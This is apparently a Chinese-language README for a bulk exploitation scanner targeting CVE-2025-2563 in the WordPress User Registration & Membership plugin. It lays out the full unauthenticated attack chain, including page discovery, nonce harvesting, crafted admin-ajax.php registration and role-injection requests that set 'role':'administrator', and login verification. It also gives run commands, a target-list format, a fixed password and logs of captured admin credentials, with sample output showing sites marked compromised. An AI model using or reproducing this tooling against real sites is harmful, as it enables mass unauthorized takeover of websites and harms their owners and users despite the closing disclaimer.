WordPress 插件 User Registration & Membership 在 4.1.2 之前的版本中,当 Membership Addon 启用时,未能阻止用户设置其账户角色,从而导致权限提升问题,并允许未经身份验证的用户获取管理员权限。
描述:
WordPress 的 User Registration & Membership 插件在 4.1.2 之前的版本中,当 Membership Addon 启用时,未能强制执行服务端角色限制。在会员注册过程中,该插件在 user_registration_membership_register_member AJAX 操作中接受用户提供的 role 字段,且未与服务端白名单进行校验。完全未经身份验证的远程攻击者可以提交一条精心构造的两步 AJAX 链——首先通过 user_registration_user_form_submit 注册一个新用户账户,然后在会员调用的 members_data 载荷中注入 "role": "administrator"——从而静默创建一个拥有完全权限的 WordPress 管理员账户。这将导致站点被完全攻陷,且无需任何身份验证或用户交互。
这是一个概念验证(PoC)批量漏洞利用扫描器,针对运行存在漏洞版本的 User Registration & Membership 插件且启用了 Membership Addon 的 WordPress 站点。该工具执行智能的多阶段漏洞利用,包括自动发现、nonce 收集、基于组合的注册、角色注入和管理员验证。
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
或通过 requirements 文件:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
该工具使用由 Rich 驱动的完全交互式终端界面。
创建一个纯文本文件(默认:list.txt)——每行一个目标:
https://target1.com
https://target2.com
http://target3.com
target4.com
没有
http://或https://前缀的目标会自动添加https://前缀。
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
密码在内部固定为
Nx_adminSA,用于所有注册尝试。
该工具自动对每个目标探测三个页面:
| 页面 | 用途 |
|---|---|
/membership-pricing/ |
以下令牌从原始 HTML 和内联 JavaScript 中提取:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
该工具会自动遍历所有已发现的 security、frontend_nonce、form_id 和 membership_id 组合,直到收到 success: true 响应。
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ 服务器在没有任何白名单校验的情况下接受
role字段——这是 CVE-2025-2563 的根本原因。
| 文件 | 描述 |
|---|---|
reg.txt | 所有成功的注册尝试及其凭据 |
Nx_admin.txt | 所有已确认的管理员权限提升 |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Password / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ COMPROMISED (exploited) │ password: Nx_adminSA│
│ https://target2.com │ VULNERABLE (nonce exposed) │ │
│ https://target3.com │ DEAD (connection error) │ │
└──────────────────────────────────────────────────────────────────────────┘
Registration log: reg.txt
Exploit (admin) log: Nx_admin.txt
本工具仅供教育和经授权的安全研究目的使用。
本项目的作者 Nxploited(Khaled Alenazi) 及所有贡献者不赞同、不支持,也不承担任何责任,对于滥用本工具或针对您未获得明确书面授权的系统使用本软件而造成的任何损害。
- ✅ 允许: 在您拥有或已获得明确书面许可进行测试的系统上使用。
- ❌ 禁止: 未经系统所有者事先明确书面授权,针对任何系统使用。
未经授权访问计算机系统属于违法行为,并将依据适用法律受到处罚,包括但不限于《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》(CMA)以及全球范围内的同等法律。
使用本工具即表示您对自己的行为承担全部和完全的责任,并确认您拥有测试目标系统的合法权限。
对于因使用或滥用本软件而产生的任何直接、间接、偶然或后果性损害,作者不承担任何责任。
© 2025 Nxploited (Khaled Alenazi) — 仅供授权安全研究使用。
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2025-2563 |
| 严重性 | 高危 — CVSS v3.1 评分:8.1 |
| 攻击向量 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 受影响软件 | WordPress 的 User Registration & Membership 插件 |
| 受影响版本 | 4.1.2 之前的所有版本 |
| 漏洞类型 | 权限管理不当 — 未认证管理员账户创建 |
| 所需认证 | 无 |
| CWE | CWE-269:权限管理不当 |
提取 membership_id 和注册链接 |
/membership-registration/ | 提取表单令牌、nonce 和字段 ID |
/membership-registration/?membership_id=<id> | 针对特定套餐的表单提取 |
/registration/ | 备用通用注册页面 |
| 令牌 | 来源 |
|---|
_nonce | ur_membership_frontend_localized_data JS 对象 |
ur_frontend_form_nonce | 隐藏输入字段或 JS 对象 |
security | user_registration_params.user_registration_form_data_save |
form_id | 隐藏输入 ur-user-form-id 或 JS 对象 |
membership_id | 单选输入 urm_membership 或 URL 查询字符串 |
| 状态 | 颜色 | 含义 |
|---|
COMPROMISED (exploited) | 🟢 绿色 | 攻击链完整成功——管理员登录已验证 |
COMPROMISED (exploit ok, admin not verified) | 🟡 黄色 | 角色注入成功,但管理员面板检查无法确定 |
VULNERABLE (nonce exposed, registration failed) | 🟡 黄色 | 已找到 Membership nonce,但注册 AJAX 失败 |
VULNERABLE (nonce exposed, exploit pending) | 🟡 黄色 | 已找到 nonce,但无法完成漏洞利用 |
EXPLOITING | 🟡 黄色 | 正在积极利用漏洞 |
REGISTERED (no membership nonce) | 🟡 黄色 | 注册成功,但无法提取 nonce |
NO REG (all attempts failed) | ⚫ 深色 | 所有 security/nonce/form_id 组合尝试均已耗尽 |
NO REG (max attempts reached) | ⚫ 深色 | 达到配置的尝试次数上限 |
DEAD (no membership/registration pages) | ⚫ 深色 | 目标上未检测到插件 |
EXPLOIT FAILED (request error) | 🔴 红色 | 角色注入调用期间出现网络错误 |
EXPLOIT FAILED (success=false) | 🔴 红色 | 服务器在角色注入时返回 success: false |
TIMEOUT | ⚫ 深色 | HTTP 超时 |
DEAD (connection error) | ⚫ 深色 | 连接被拒绝/无法访问 |
ERROR | 🔴 红色 | 意外异常 |